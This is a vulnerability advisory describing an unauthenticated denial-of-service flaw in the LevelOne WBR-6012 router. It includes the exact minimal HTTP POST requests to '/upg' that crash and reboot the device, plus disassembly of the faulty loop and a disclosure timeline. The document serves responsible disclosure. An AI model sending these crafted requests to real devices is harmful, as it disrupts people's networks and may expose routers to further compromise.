Talos Vulnerability Report

SUMMARY

A denial of service vulnerability exists in the Web Application functionality of LevelOne WBR-6012 R0.40e6. A specially crafted HTTP request can lead to a reboot. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6012 R0.40e6

PRODUCT URLS

WBR-6012 - https://us.level1.com/products/wbr-6012

CVSSv3 SCORE

3.7 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-835 - Loop with Unreachable Exit Condition (‘Infinite Loop’)

DETAILS

The WBR-6012 is a wireless SOHO router. It is a low-cost device which functions as an internet gateway for homes and small offices while aiming to be easy to configure and operate. In addition to providing a WiFi access point, the device serves as a 4-port wired router and implements a variety of common SOHO router capabilities such as port forwarding, quality-of-service, web-based administration, a DHCP server, a basic DMZ, and UPnP capabilities.

An unauthenticated HTTP POST request to a URI which begins with “/upg” and does not match the expected format for legitimate firmware updates will result in a crash and reboot of the device, opening it to further exploitation via the backdoor in TALOS-2024-1979.

A valid firmware upgrade via the web application is initiated with an HTTP POST to “/upg/fwug”. A valid firmware update from the web application would contain POST data that is similar to the below:

POST /upg/fwug HTTP/1.1
Host: 192.168.1.1
Content-Length: 1245519
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOQWA3bb8YRfZvUjg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close


-----WebKitFormBoundaryOQWA3bb8YRfZvUjg
Content-Disposition: form-data; name="FN"; filename="WBR-6012(R0.40e6)_2012-05-02.BIN"
Content-Type: application/octet-stream

DDC6F0402001....<firmware binary data>

This will be followed by the firmware file, which begins with the string “DDC6F0402001”.

An authenticated request that contains this POST data followed by the firmware image will result in a firmware update. An unauthenticated request will result in an “authentication required” error.

Minimizing the POST request to identify conditions that will cause a crash, the following will result in an “authentication required” response. In testing, this was the smallest POST request possible without causing a crash/reboot.

POST /upg/fwug HTTP/1.1
Host: 192.168.1.1
Content-Length: 9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close

A
B

C

Remove the empty line between B and C and the device will crash/reboot, even if unauthenticated.

POST /upg/fwug HTTP/1.1
Host: 192.168.1.1
Content-Length: 9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close

A
B
C

Further minimizing, we can eliminate the “/fwug” from the URI. Sending an empty POST request will return a “length required” error. Adding a single byte to the POST data results in a crash/reboot. The below request is the minimal request needed to trigger a crash/reboot.

POST /upg HTTP/1.1
Host: 192.168.1.1
Content-Length: 4
\r\n
\r\n
\r\n

If the Content-Length header is missing, the device will not respond that that request. However, the vulnerable code branch which results in a crash/reboot will not be taken. The Content-Length header is the only header which is required.

The cause of the vulnerability appears directly related to a lack of logic for handling requests which do not match the expected request. In the main HTTP function (http_main, 0x800bfcf), http data is received (0x0800bffcc), processed (0x800c0024), and handled (0x800c02c4) based on the HTTP method. If the HTTP method is POST, the device looks for the characters “/upg” in the path (0x800c03b0). If it finds those characters, it looks for “/fwug” (0x800c0430). The path “/upg/fwug” is associated with firmware upgrades.

When handling an HTTP POST request with a URI beginning with “/upg” it is assumed that the request will match a certain format. Deviations from this format result in code paths being followed before the device has properly set registers or initialized data. We can see in the pseudocode below the logic executed to identify a firmware update.

      /* POST */
http_data_substr = http_data + 5;
if (http_bytes == POST) {
  chars_as_int = get_first_4_bytes_as_int(http_data_substr);
      /* /upg */
  if (chars_as_int == /upg) {
    http_data_substr = http_data + 9;
    bVar6 = *http_data_substr;
    ...

The variable bVar6 in the code above is set to contain the HTTP request minus the header and path. Once this code path is reached, the device does no checking or validation of the data in the request before attempting to parse and process it. In this instance, the vulnerability appears to be introduced at 0x800c04b0 where the device enters a loop and iterates over the bytes in the HTTP request until it finds a \r (0xd). The disassembly for this code block is below:

parse_url_until_return_or_space        XREF[1]:     800c04b0(j)  
800c0490 00 00 c3 a2        sb         v1,0x0(http_bytes_substr)=>DAT_8062b9d0
800c0494 01 00 52 26        addiu      http_data_substr,http_data_substr,0x1
800c0498 00 00 44 82        lb         bVar6,0x0(http_data_substr)=>s__8062b360+6 = ""
800c049c 20 00 02 24        li         http_bytes,0x20
800c04a0 01 00 d6 26        addiu      http_bytes_substr,http_bytes_substr,0x1
800c04a4 04 00 82 10        beq        bVar6,http_bytes,LAB_800c04b8
800c04a8 00 00 43 92        _lbu       v1,0x0(http_data_substr)=>s__8062b360+6 = ""
800c04ac 0d 00 02 24        li         http_bytes,'\r'
800c04b0 f7 ff 82 14        bne        bVar6,http_bytes,parse_url_until_return_or_space
800c04b4 00 00 00 00        _nop

This is also represented in pseudocode below:

while (http_data = part_of_path + chars_as_int, *http_data_substr != 0xd) {
  *http_data = bVar6;
  http_data_substr = http_data_substr + 1;
  chars_as_int = chars_as_int + 1;
  bVar6 = *http_data_substr;
  if (*http_data_substr == 0x20) break;
}

This appears to be an infinite loop. There must be at least one \r in the POST data to avoid a crash.

TIMELINE

2024-06-03 - Vendor Disclosure
2024-08-05 - Status update request from TALOS - No reply
2024-09-03 - Status update request - Impending public release notification
2024-10-23 - Vendor notification of upcoming release date
2024-10-30 - Public Release